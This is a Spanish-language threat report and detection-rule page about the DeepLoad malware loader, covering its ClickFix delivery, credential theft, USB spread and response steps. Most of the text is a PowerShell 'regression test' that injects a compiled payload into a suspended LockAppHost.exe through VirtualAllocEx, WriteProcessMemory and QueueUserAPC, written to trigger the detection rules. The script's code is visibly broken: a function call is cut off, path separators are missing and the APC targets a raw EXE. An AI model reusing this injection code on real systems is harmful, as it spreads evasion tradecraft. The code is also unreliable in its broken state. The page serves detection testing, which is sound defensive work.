DeepLoad Malware Explicado: Entrega de ClickFix y Robo de Credenciales
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
DeepLoad es un cargador de malware sin archivos observado por primera vez en marzo de 2026, que se propaga a través de una táctica de ingeniería social conocida como ClickFix, la cual persuade a los usuarios a ejecutar un comando malicioso de PowerShell. Una vez ejecutado, el cargador descifra su carga útil en memoria y la inyecta en procesos de Windows de confianza a través de llamadas a procedimientos asíncronos. Luego despliega un ladrón de credenciales llamado filemanager.exe junto con una extensión de navegador maliciosa para robar contraseñas guardadas y registrar pulsaciones de teclas. El malware también puede propagarse a través de unidades USB al dejar numerosos archivos de acceso directo que reinician la cadena de infección en otro sistema.
Investigación
La investigación detalla el comando inicial usado para recuperar el cargador PowerShell desde un servidor remoto, las técnicas de ofuscación aplicadas durante la ejecución y la inyección de procesos basada en APC en binarios como LockAppHost.exe. También describe los dos componentes separados de robo de credenciales y el método de movimiento lateral basado en USB que utiliza .lnk archivos disfrazados como instaladores de software común. El informe también hace referencia a los módulos de simulación de Picus que se pueden usar para probar las defensas contra este comportamiento.
Mitigación
Los defensores deben bloquear la ejecución de comandos de PowerShell no confiables, monitorear la creación de tareas programadas sospechosas y el uso anormal de mshta.exe, y aplicar controles de ejecución estrictos para scripts de PowerShell. La detección de inyección basada en APC, el monitoreo de archivos sospechosos .lnk en medios extraíbles, y la limitación del almacenamiento de credenciales del navegador pueden ayudar a reducir el impacto. También se recomienda la protección de endpoints que pueda inspeccionar la descodificación e inyección en memoria.
Respuesta
Si se detecta actividad de DeepLoad, aísle de inmediato el endpoint afectado, termine los procesos sospechosos como filemanager.exe y cualquier binario de confianza que muestre signos de inyección, y elimine cualquier tarea programada creada por el malware. Reinicie las credenciales de las cuentas comprometidas, escanee los medios extraíbles en busca de archivos de acceso directo maliciosos, y realice un análisis forense para identificar cualquier mecanismo de persistencia. Las reglas de detección también deben actualizarse para cubrir los patrones observados de línea de comandos y técnicas de inyección.
Flujo de Ataque
Detecciones
Descargar o Cargar a través de Powershell (a través de cmdline)
Ver
Conexión HTTP de Malware DeepLoad a IP Maliciosa [Conexión de Red de Windows]
Ver
Detección de Inyección de Proceso Basada en APC de DeepLoad [Creación de Proceso de Windows]
Ver
Ejecución de Comando PowerShell de Malware DeepLoad [PowerShell de Windows]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría & Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
El atacante ha entregado un script de PowerShell malicioso (el «cargador») que se ejecuta bajo el contexto del usuario conectado (Ejecución de Usuario – T1204). El cargador realiza los siguientes pasos:
- Organizar la carga útil – escribe un binario C compilado (la “carga útil”) en
%TEMP%. - Crear una instancia suspendida de un proceso de confianza (
LockAppHost.exe) usandoCreateProcessAcon la banderaCREATE_SUSPENDED. - Inyectar la carga útil en el proceso suspendido llamando a
WriteProcessMemorypara copiar el binario en el espacio de direcciones del objetivo. - Colocar un APC (
QueueUserAPC) que apunta al punto de entrada de la carga, causando que se ejecute cuando el hilo objetivo se reanuda. - Reanudar el hilo, completando la inyección.
Esta secuencia exacta genera un solo evento de creación de proceso para
LockAppHost.execuyo campo SysmonCallTracecontiene las tres llamadas a API relacionadas con la inyección, satisfaciendo la regla Sigma. - Organizar la carga útil – escribe un binario C compilado (la “carga útil”) en
-
Guion de Prueba de Regresión:
# Simulación de Inyección Basada en APC de DeepLoad (Compilación en memoria de PowerShell + C#) # -------------------------------------------------------------- # 1. Compilar una carga C mínima (MessageBox) a un EXE temporal $payloadSource = @" #include <windows.h> int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) { MessageBoxA(NULL, "Inyectado por DeepLoad", "Éxito", MB_OK); return 0; } "@ $tempDir = "$env:TEMPDeepLoadDemo" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $cFile = "$tempDirpayload.c" $exeFile = "$tempDirpayload.exe" $payloadSource | Set-Content -Path $cFile -Encoding ASCII # Usar compilador Visual C++ si está disponible; fall back al tipo Add de PowerShell (crea un DLL, no EXE) if (Get-Command cl.exe -ErrorAction SilentlyContinue) { & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile } else { Write-Error "C compiler not found – manual compile required." exit 1 } # 2. Preparar inyección $targetPath = "C:WindowsSystem32LockAppHost.exe" $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo $STARTUPINFO.FileName = $targetPath $STARTUPINFO.Arguments = "" $STARTUPINFO.RedirectStandardOutput = $false $STARTUPINFO.UseShellExecute = $false $proc = New-Object System.Diagnostics.Process $proc.StartInfo = $STARTUPINFO $proc.StartInfo.CreateNoWindow = $true $proc.StartInfo.Verb = "runas" # ensure elevated if needed # Crear proceso suspendido $pInfo = New-Object System.Diagnostics.ProcessStartInfo $pInfo.FileName = $targetPath $pInfo.Arguments = "" $pInfo.UseShellExecute = $false $pInfo.CreateNoWindow = $true $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new() $procStartInfo.FileName = $targetPath $procStartInfo.Arguments = "" $procStartInfo.UseShellExecute = $false $procStartInfo.CreateNoWindow = $true # Definiciones de P/Invoke $sig = @" using System; using System.Runtime.InteropServices; public class Native { [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint ResumeThread(IntPtr hThread); public const uint CREATE_SUSPENDED = 0x00000004; public const uint MEM_COMMIT = 0x1000; public const uint PAGE_EXECUTE_READWRITE = 0x40; [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public ushort wShowWindow; public ushort cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } } "@ Add-Type $sig # Inicializar estructuras $si = New-Object Native+STARTUPINFO $pi = New-Object Native+PROCESS_INFORMATION $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si) # Crear LockAppHost suspendido $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero, $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $created) { Write-Error "CreateProcessA falló: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" exit 1 } # Leer binario de carga $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile) # Asignar memoria en el objetivo $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length, if ($remoteAddr -eq [IntPtr]::Zero) { Write-Error "VirtualAllocEx falló." exit 1 } # Escribir carga $bytesWritten = [UIntPtr]::Zero $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten) if (-not $writeOk) { Write-Error "WriteProcessMemory falló." exit 1 } # Colocar APC (apunta al punto de entrada de la carga) $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero) # Reanudar hilo para ejecutar APC [Native]::ResumeThread($pi.hThread) | Out-Null Write-Host "Inyección completada – la carga debe aparecer en breve." -
Comandos de Limpieza:
# Terminar instancia inyectada de LockAppHost (si aún está en ejecución) Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force # Eliminar archivos temporales Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"
Resultados de Validación (a completar después de la ejecución)
- Regla Activada: Sí / No
- Número de Alertas Generadas: ___
- Verificación de Falsos Positivos: La ejecución benigna no produjo alertas (según lo confirmado por la consulta de validación).
Resumen de Recomendaciones
- Correlacionar entre eventos – Añadir una regla secundaria que examine la ocurrencia de eventos de
WriteProcessMemoryorQueueUserAPCdentro de un tiempo corto de una creación deLockAppHost.exe. - Ampliar Alcance de Imagen – Incluir otros binarios de confianza comúnmente abusados para la inyección APC (e.g.,
svchost.exe,explorer.exe). - Enriquecimiento Conductual – Marcar procesos que cargan DLLs no firmadas o ejecutan desde
%TEMP%después de la inyección. - Mitigación de Evasión – Monitorear las mismas llamadas a API divididas entre múltiples procesos, que actualmente evitan la condición de un solo evento.